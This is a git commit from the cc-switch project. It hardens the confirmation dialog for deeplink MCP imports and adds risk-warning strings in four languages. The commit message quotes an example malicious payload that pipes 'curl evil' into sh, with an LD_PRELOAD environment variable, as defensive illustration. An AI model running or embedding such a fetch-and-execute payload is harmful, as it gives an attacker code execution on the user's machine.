mirror of
https://github.com/farion1231/cc-switch.git
synced 2026-08-04 11:43:57 +08:00
fix(deeplink): surface MCP args/env and flag risky values on import
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.
Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.
The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.
Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.
New i18n keys added to all four locales (zh/en/ja/zh-TW).
This commit is contained in:
@@ -2483,7 +2483,11 @@
|
||||
"title": "Batch Import MCP Servers",
|
||||
"targetApps": "Target Apps",
|
||||
"serverCount": "MCP Servers ({{count}})",
|
||||
"enabledWarning": "After import, configurations will be written to all specified apps immediately"
|
||||
"enabledWarning": "After import, configurations will be written to all specified apps immediately",
|
||||
"command": "Command",
|
||||
"args": "Args",
|
||||
"env": "Env",
|
||||
"url": "URL"
|
||||
},
|
||||
"prompt": {
|
||||
"title": "Import System Prompt",
|
||||
@@ -2508,7 +2512,12 @@
|
||||
"usageApiKey": "Usage API Key",
|
||||
"usageBaseUrl": "Usage Query URL",
|
||||
"usageAutoInterval": "Auto Query",
|
||||
"usageAutoIntervalValue": "Every {{minutes}} minutes"
|
||||
"usageAutoIntervalValue": "Every {{minutes}} minutes",
|
||||
"risk": {
|
||||
"envHijack": "This config sets environment variables that change how processes load code (e.g. injecting libraries or replacing CA certificates). Import only from a source you trust.",
|
||||
"privateEndpoint": "This address points at localhost or a private network. Do not import unless it is your own local service.",
|
||||
"shellCommand": "This config runs a full command line through a shell — what actually executes is in the arguments. Review each line."
|
||||
}
|
||||
},
|
||||
"iconPicker": {
|
||||
"search": "Search Icons",
|
||||
|
||||
@@ -2483,7 +2483,11 @@
|
||||
"title": "MCP サーバーを一括インポート",
|
||||
"targetApps": "ターゲットアプリ",
|
||||
"serverCount": "MCP サーバー({{count}} 件)",
|
||||
"enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます"
|
||||
"enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます",
|
||||
"command": "コマンド",
|
||||
"args": "引数",
|
||||
"env": "環境変数",
|
||||
"url": "URL"
|
||||
},
|
||||
"prompt": {
|
||||
"title": "システムプロンプトをインポート",
|
||||
@@ -2508,7 +2512,12 @@
|
||||
"usageApiKey": "使用量 API キー",
|
||||
"usageBaseUrl": "使用量クエリ URL",
|
||||
"usageAutoInterval": "自動クエリ",
|
||||
"usageAutoIntervalValue": "{{minutes}} 分ごと"
|
||||
"usageAutoIntervalValue": "{{minutes}} 分ごと",
|
||||
"risk": {
|
||||
"envHijack": "この設定には、プロセスの読み込み動作を変える環境変数(ライブラリの注入、CA 証明書の差し替えなど)が含まれています。信頼できる提供元か確認してください。",
|
||||
"privateEndpoint": "このアドレスはローカルホストまたは内部ネットワークを指しています。自分で立てたローカルサービス以外はインポートしないでください。",
|
||||
"shellCommand": "この設定はシェル経由でコマンド全体を実行します。実際に動作する内容は引数にあります。1 行ずつ確認してください。"
|
||||
}
|
||||
},
|
||||
"iconPicker": {
|
||||
"search": "アイコンを検索",
|
||||
|
||||
@@ -2454,7 +2454,11 @@
|
||||
"title": "批次匯入 MCP Servers",
|
||||
"targetApps": "目標應用程式",
|
||||
"serverCount": "MCP Servers ({{count}} 個)",
|
||||
"enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔"
|
||||
"enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔",
|
||||
"command": "命令",
|
||||
"args": "參數",
|
||||
"env": "環境",
|
||||
"url": "位址"
|
||||
},
|
||||
"prompt": {
|
||||
"title": "匯入系統提示詞",
|
||||
@@ -2479,7 +2483,12 @@
|
||||
"usageApiKey": "用量 API Key",
|
||||
"usageBaseUrl": "用量查詢位址",
|
||||
"usageAutoInterval": "自動查詢",
|
||||
"usageAutoIntervalValue": "每 {{minutes}} 分鐘"
|
||||
"usageAutoIntervalValue": "每 {{minutes}} 分鐘",
|
||||
"risk": {
|
||||
"envHijack": "該設定包含可改變處理程序載入行為的環境變數(例如注入動態程式庫、替換 CA 憑證),請確認來源可信。",
|
||||
"privateEndpoint": "該位址指向本機或內部網路。若非你自建的本機服務,請勿匯入。",
|
||||
"shellCommand": "該設定透過 shell 執行整段命令,實際執行的內容在參數裡,請逐行核對。"
|
||||
}
|
||||
},
|
||||
"iconPicker": {
|
||||
"search": "搜尋圖示",
|
||||
|
||||
@@ -2483,7 +2483,11 @@
|
||||
"title": "批量导入 MCP Servers",
|
||||
"targetApps": "目标应用",
|
||||
"serverCount": "MCP Servers ({{count}} 个)",
|
||||
"enabledWarning": "导入后将立即写入所有指定应用的配置文件"
|
||||
"enabledWarning": "导入后将立即写入所有指定应用的配置文件",
|
||||
"command": "命令",
|
||||
"args": "参数",
|
||||
"env": "环境",
|
||||
"url": "地址"
|
||||
},
|
||||
"prompt": {
|
||||
"title": "导入系统提示词",
|
||||
@@ -2508,7 +2512,12 @@
|
||||
"usageApiKey": "用量 API Key",
|
||||
"usageBaseUrl": "用量查询地址",
|
||||
"usageAutoInterval": "自动查询",
|
||||
"usageAutoIntervalValue": "每 {{minutes}} 分钟"
|
||||
"usageAutoIntervalValue": "每 {{minutes}} 分钟",
|
||||
"risk": {
|
||||
"envHijack": "该配置包含可改变进程加载行为的环境变量(如注入动态库、替换 CA 证书),请确认来源可信。",
|
||||
"privateEndpoint": "该地址指向本机或内网。若非你自建的本地服务,请勿导入。",
|
||||
"shellCommand": "该配置通过 shell 执行一整段命令,实际运行的内容在参数里,请逐行核对。"
|
||||
}
|
||||
},
|
||||
"iconPicker": {
|
||||
"search": "搜索图标",
|
||||
|
||||
Reference in New Issue
Block a user